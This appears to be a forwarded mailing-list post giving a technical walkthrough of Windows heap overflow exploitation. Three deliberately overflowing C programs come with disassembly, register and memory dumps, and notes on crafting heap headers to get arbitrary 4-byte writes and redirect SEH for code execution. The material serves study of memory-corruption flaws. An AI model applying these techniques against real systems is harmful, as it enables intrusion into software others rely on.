- From An Anonymous Post To D/D - - Thought it may interest some ppl on this list, in case they missed it - begin anonymized content Wassup peeps... Nice article, with a very interesting approach. In most cases, these statements will be true.. "With a heap overflow you get something totally different ? you can write a single 32 bit value to any 32 bit address of your choosing." "You only control TWO things as the attacker ? the address you wish to overwrite, and the value you are going to place there" In other cases an attacker can overwrite 2 locations with 2 different dwords... Dependant on where in the heap is overwritten, and the implementation of the heap control functions in use..... I wrote this a while back... may be of some interest to ppl... ---------------------------------------------------------------------- + Windows Heap Overflow Exploitation ---------------------------------------------------------------------- This is not a 'complete' guide to windows heap overflows. It includes sample code and technical details on how to exploit different heap overwrite scenarios. ---------------------------------------------------------------------- + Example 1 - The malloc/free Scenario ---------------------------------------------------------------------- /* Example 1 - malloc/free */ #include int main(int argc,char *argv[]) { char *smallbuf,*a,*b,*c; a = malloc(10); b = malloc(10); c = malloc(10); printf("a=%x\tb=%x\tc=%x\n",a,b,c); memset(a,0x0,10); printf("copy\n"); strcpy(a,"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"); printf("free a\n"); free(a); printf("free b\n"); free(b); printf("free c\n"); free(c); printf("done\n"); } ---------------------------------------------------------------------- * Analysis ---------------------------------------------------------------------- Heap block A is overflowed and when free(a) is called an exception occurs in the following code segment. 004013DB mov ecx,dword ptr [ebx+edx+8] 004013DF mov edi,dword ptr [ebx+edx+4] 004013E3 mov dword ptr [ecx+4],edi <---- Exception 004013E6 mov ecx,dword ptr [ebx+edx+4] 004013EA mov edi,dword ptr [ebx+edx+8] 004013EE add ebx,dword ptr [ebp-8] 004013F1 mov dword ptr [ecx+8],edi 004013F4 mov dword ptr [ebp-0Ch],ebx ---------------------------------------------------------------------- * Registers At Time Of Exception ---------------------------------------------------------------------- EAX = 002F0798 EBX = 00000020 ECX = 58585858 EDX = 0030066C ESI = 00000000 EDI = 58585858 EIP = 004013E3 ESP = 0012FF20 EBP = 0012FF40 EFL = 00000246 ---------------------------------------------------------------------- * EBX+EDX Dump At Time Of Exception ---------------------------------------------------------------------- 0030068C 58 58 58 58 58 XXXXX 00300691 58 58 58 58 58 XXXXX 00300696 58 58 58 58 58 XXXXX 0030069B 58 58 58 58 58 XXXXX 003006A0 58 58 58 58 58 XXXXX ---------------------------------------------------------------------- * Exploitation ---------------------------------------------------------------------- We are in control of both the EDI and ECX registers which allows us to write 4 bytes to an arbitrary address. This can be used to overwrite function pointers, seh handlers or PEB locking pointers. At this time we are unaware of any methods to obtain further writes or the writing of the heap address. ---------------------------------------------------------------------- + Example 2 - The HeapAlloc/HeapFree Scenario ---------------------------------------------------------------------- /* Example 2 - HeapAlloc/HeapFree */ #include #include int main(int argc,char *argv[]) { char *a,*b,*c; long hHeap; hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS,1000,9000); a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10); b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10); c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10); printf("a=%x\tb=%x\tc=%x\n",a,b,c); memset(b,0x48,2000); //32 byte minumim printf("Freeing c\n"); HeapFree(hHeap,0,c); printf("Freeing b\n"); HeapFree(hHeap,0,b); printf("Freeing a\n"); HeapFree(hHeap,0,a); HeapDestroy(hHeap); } ---------------------------------------------------------------------- * Analysis ---------------------------------------------------------------------- Heap block B is overflowed and when HeapFree(B) is called an exception occurs in the following code segment. 77FCCA2E mov ecx,dword ptr [edi+0Ch] 77FCCA31 mov eax,dword ptr [edi+8] 77FCCA34 cmp eax,ecx 77FCCA36 mov dword ptr [ecx],eax <---- Exception 77FCCA38 mov dword ptr [eax+4],ecx 77FCCA3B je 77FCB353 77FCCA41 mov al,byte ptr [edi+5] ---------------------------------------------------------------------- * Registers At Time Of Exception ---------------------------------------------------------------------- EAX = 48484848 EBX = 00420000 ECX = 48484848 EDX = 004206B0 ESI = 00420698 EDI = 004206B0 EIP = 77FCCA36 ESP = 0012FEA8 EBP = 0012FEB4 EFL = 00000246 ---------------------------------------------------------------------- * EDI Dump At Time Of Exception ---------------------------------------------------------------------- 004206B0 48 48 48 48 48 HHHHH 004206B5 48 48 48 48 48 HHHHH 004206BA 48 48 48 48 48 HHHHH 004206BF 48 48 48 48 48 HHHHH 004206C4 48 48 48 48 48 HHHHH 004206C9 48 48 48 48 48 HHHHH ---------------------------------------------------------------------- * Exploitation ---------------------------------------------------------------------- We are in control of both the EAX and ECX registers which allows us to write 4 bytes to an arbitrary address. This can be used to overwrite function pointers, seh handlers or PEB locking pointers. In some circumstances, exploitation of this scenario can be taken further allowing the writing of the heap address to a critical location. If we pass valid writeable addresses for both the EAX and ECX registers an exception will not occur as shown above but will occur further down the code at this location 77FCCA4C movzx ecx,word ptr [edi] 77FCCA4F mov eax,dword ptr [ebp+10h] 77FCCA52 add dword ptr [eax],ecx 77FCCA54 movzx ecx,word ptr [edi] 77FCCA57 sub dword ptr [ebx+28h],ecx 77FCCA5A mov cx,word ptr [eax] 77FCCA5D test byte ptr [esi+5],10h 77FCCA61 mov word ptr [esi],cx 77FCCA64 jne 77FCC9FB 77FCCA66 mov ecx,dword ptr [eax] 77FCCA68 mov ax,word ptr [eax] 77FCCA6B mov word ptr [esi+ecx*8+2],ax <-- exception At this time ECX will equal 0000484B, and causes the mov instruction to address an invalid memory space. As can be seen in the code segment above, the ECX value is obtained from our heap structure at [EDI] and then stored in [EAX]. It is later retrieved before been used in the mov instruction that causes the exception. In some cases if we construct heap strucutre setting first dword to 0101 the write will be within valid memory, allowing us to continue execution flow. Depending on methods null bytes may be allowed. 004206B0 01 01 48 48 48 ..HHH 004206B5 48 48 48 80 F0 HHH?ð 004206BA FD 7F 90 F0 FD ý..ðý 004206BF 7F 48 48 48 48 .HHHH 004206C4 48 48 48 48 48 HHHHH 004206C9 48 48 48 48 48 HHHHH After continuing past this exception coded execution reaches the following segment. 77FCC98D mov dword ptr [ecx],eax 77FCC98F mov dword ptr [esi+0Ch],edx 77FCC992 mov dword ptr [edx],ecx <--! 77FCC994 mov dword ptr [eax+4],ecx EAX = 004206D0 EBX = 00420178 ECX = 004206A0 EDX = 48484848 ESI = 00420698 EDI = 00420000 EIP = 77FCC992 ESP = 0012FECC EBP = 0012FF5C EFL = 00000293 As is shown, we are in control of EDX, and ECX points to the heap strucutre. 004206A0 D0 06 42 00 48 Ð.B.H 004206A5 48 48 48 48 48 HHHHH 004206AA 48 48 48 48 48 HHHHH 004206AF 48 01 01 48 48 H..HH 004206B4 48 48 48 48 80 HHHH? The bytes at ECX have been overwritten during the heap manipulation routines but are usually executable instructions. 004206A0 rol byte ptr [esi],1 004206A2 inc edx 004206A3 add byte ptr [eax+48h],cl 004206A6 dec eax 004206A7 dec eax 004206A8 dec eax This allows us to direct execution flow to our code without the need for a JMP REG instruction. ---------------------------------------------------------------------- * Example 3 - The HeapAlloc/HeapAlloc Scenario ---------------------------------------------------------------------- /* Example 3 - The HeapAlloc/HeapAlloc Scenario Demonstrates the 'multi-write' heap overflow. */ #include #include int main(int argc,char *argv[]) { char *a,*b,*c,*d; long hHeap; hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS,5000,9000); a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10); b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10); c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10); printf("a=%x\tb=%x\tc=%x\n",a,b,c); memset(c,0x48,2000); //32 byte minimum printf("Alloc d\n"); d = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10); printf("d=%x\n",d); printf("Freeing c\n"); HeapFree(hHeap,0,c); printf("Freeing b\n"); HeapFree(hHeap,0,b); printf("Freeing a\n"); HeapFree(hHeap,0,a); HeapDestroy(hHeap); } ---------------------------------------------------------------------- * Analysis ---------------------------------------------------------------------- Heap block c is overflowed and when HeapAlloc is called to allocate another block an exception occurs in the following code segment. 77FCC651 mov eax,dword ptr [esi+8] 77FCC654 mov dword ptr [ebp-16Ch],eax 77FCC65A mov ecx,dword ptr [esi+0Ch] 77FCC65D mov dword ptr [ebp-170h],ecx 77FCC663 mov dword ptr [ecx],eax <---- Exception 77FCC665 mov dword ptr [eax+4],ecx 77FCC668 jmp 77FCC481 ---------------------------------------------------------------------- * Registers At Time Of Exception ---------------------------------------------------------------------- EAX = 48484848 EBX = 00000003 ECX = 48484848 EDX = 004206C8 ESI = 004206C8 EDI = 00420000 EIP = 77FCC663 ESP = 0012FDC0 EBP = 0012FF58 EFL = 00000246 ---------------------------------------------------------------------- * ESI Dump At Time Of Exception ---------------------------------------------------------------------- 004206C8 48 48 48 48 48 HHHHH 004206CD 48 48 48 48 48 HHHHH 004206D2 48 48 48 48 48 HHHHH 004206D7 48 48 48 48 48 HHHHH 004206DC 48 48 48 48 48 HHHHH 004206E1 48 48 48 48 48 HHHHH 004206E6 48 48 48 48 48 HHHHH ---------------------------------------------------------------------- * Exploitation ---------------------------------------------------------------------- We are in control of both the EAX and ECX registers which allows us to write 4 bytes to an arbitrary address. This can be used to overwrite function pointers, seh handlers or PEB locking pointers. In some circumstances, exploitation of this scenario can be taken further allowing for the writing of another 4 bytes. This can be used to direct SEH to a known location, and then with the second write we can create a JMP REG instruction at the known location. If we pass valid writeable addresses for both the EAX and ECX registers an exception will not occur as shown above but will occur further down the code at this location 77FCC497 movzx ebx,word ptr [esi] 77FCC49A mov ecx,dword ptr [ebp-44h] 77FCC49D sub ebx,ecx 77FCC49F mov dword ptr [ebp-58h],ebx 77FCC4A2 mov word ptr [esi],cx 77FCC4A5 mov ecx,dword ptr [ebp-20h] 77FCC4A8 sub ecx,dword ptr [ebp+10h] 77FCC4AB mov byte ptr [esi+6],cl 77FCC4AE and byte ptr [esi+7],0 77FCC4B2 test ebx,ebx 77FCC4B4 je 77FCC578 77FCC4BA cmp ebx,1 77FCC4BD je 77FCC28D 77FCC4C3 mov ecx,dword ptr [ebp-44h] 77FCC4C6 lea edi,[esi+ecx*8] 77FCC4C9 mov dword ptr [ebp-34h],edi 77FCC4CC mov byte ptr [edi+5],al 77FCC4CF mov word ptr [edi+2],cx 77FCC4D3 mov cl,byte ptr [esi+4] 77FCC4D6 mov byte ptr [edi+4],cl 77FCC4D9 mov word ptr [edi],bx 77FCC4DC test al,10h 77FCC4DE jne 77FCC724 77FCC4E4 lea ecx,[edi+ebx*8] 77FCC4E7 mov dword ptr [ebp-30h],ecx 77FCC4EA mov al,byte ptr [ecx+5] <-- exception At this time ECX will equal 004448EA, and causes the mov instruction to address an invalid memory space. As can be seen in the code segment above, the ECX value is obtained from our heap structure at [ESI] and then manipulated against the standard heap block length. It then used to calculate the location of the next block to be used before been used in the mov instruction that causes the exception. In some cases if we construct heap strucutre setting first dword to 0101 the write will be within valid memory, allowing us to continue execution flow. Depending on methods null bytes may be allowed. 004206B0 01 01 48 48 48 ..HHH 004206B5 48 48 48 80 F0 HHH?ð 004206BA FD 7F 90 F0 FD ý..ðý 004206BF 7F 48 48 48 48 .HHHH 004206C4 48 48 48 48 48 HHHHH 004206C9 48 48 48 48 48 HHHHH After continuing past this exception coded execution reaches the following segment. 77FCB01D mov ecx,dword ptr [ebp-30h] 77FCB020 mov eax,dword ptr [ecx+8] 77FCB023 mov dword ptr [ebp-128h],eax 77FCB029 mov ecx,dword ptr [ecx+0Ch] 77FCB02C mov dword ptr [ebp-12Ch],ecx 77FCB032 mov dword ptr [ecx],eax <--! 77FCB034 mov dword ptr [eax+4],ecx where values are read from 00420ED0 48 48 48 48 48 HHHHH 00420ED5 48 48 48 48 48 HHHHH 00420EDA 48 48 48 48 48 HHHHH 00420EDF 48 48 48 48 48 HHHHH 00420EE4 48 48 48 48 48 HHHHH 00420EE9 48 48 48 48 48 HHHHH 00420EEE 48 48 48 48 48 HHHHH and set as EAX = 48484848 EBX = 000000FE ECX = 48484848 EDX = 00420ED0 ESI = 00420000 EDI = 004206E0 EIP = 77FCB032 ESP = 0012FDC0 EBP = 0012FF58 EFL = 00000246 This allows us to write a further 4 bytes to an arbitrary location. To exploit this scenario the first write should be similar to; ECX = SEH, EAX = Known writeable location 77FCC663 mov dword ptr [ecx],eax 77FCC665 mov dword ptr [eax+4],ecx and the second write should be similar to; ECX = known writeable location, EAX = JMP REG code 77FCB032 mov dword ptr [ecx],eax 77FCB034 mov dword ptr [eax+4],ecx INC,IAC -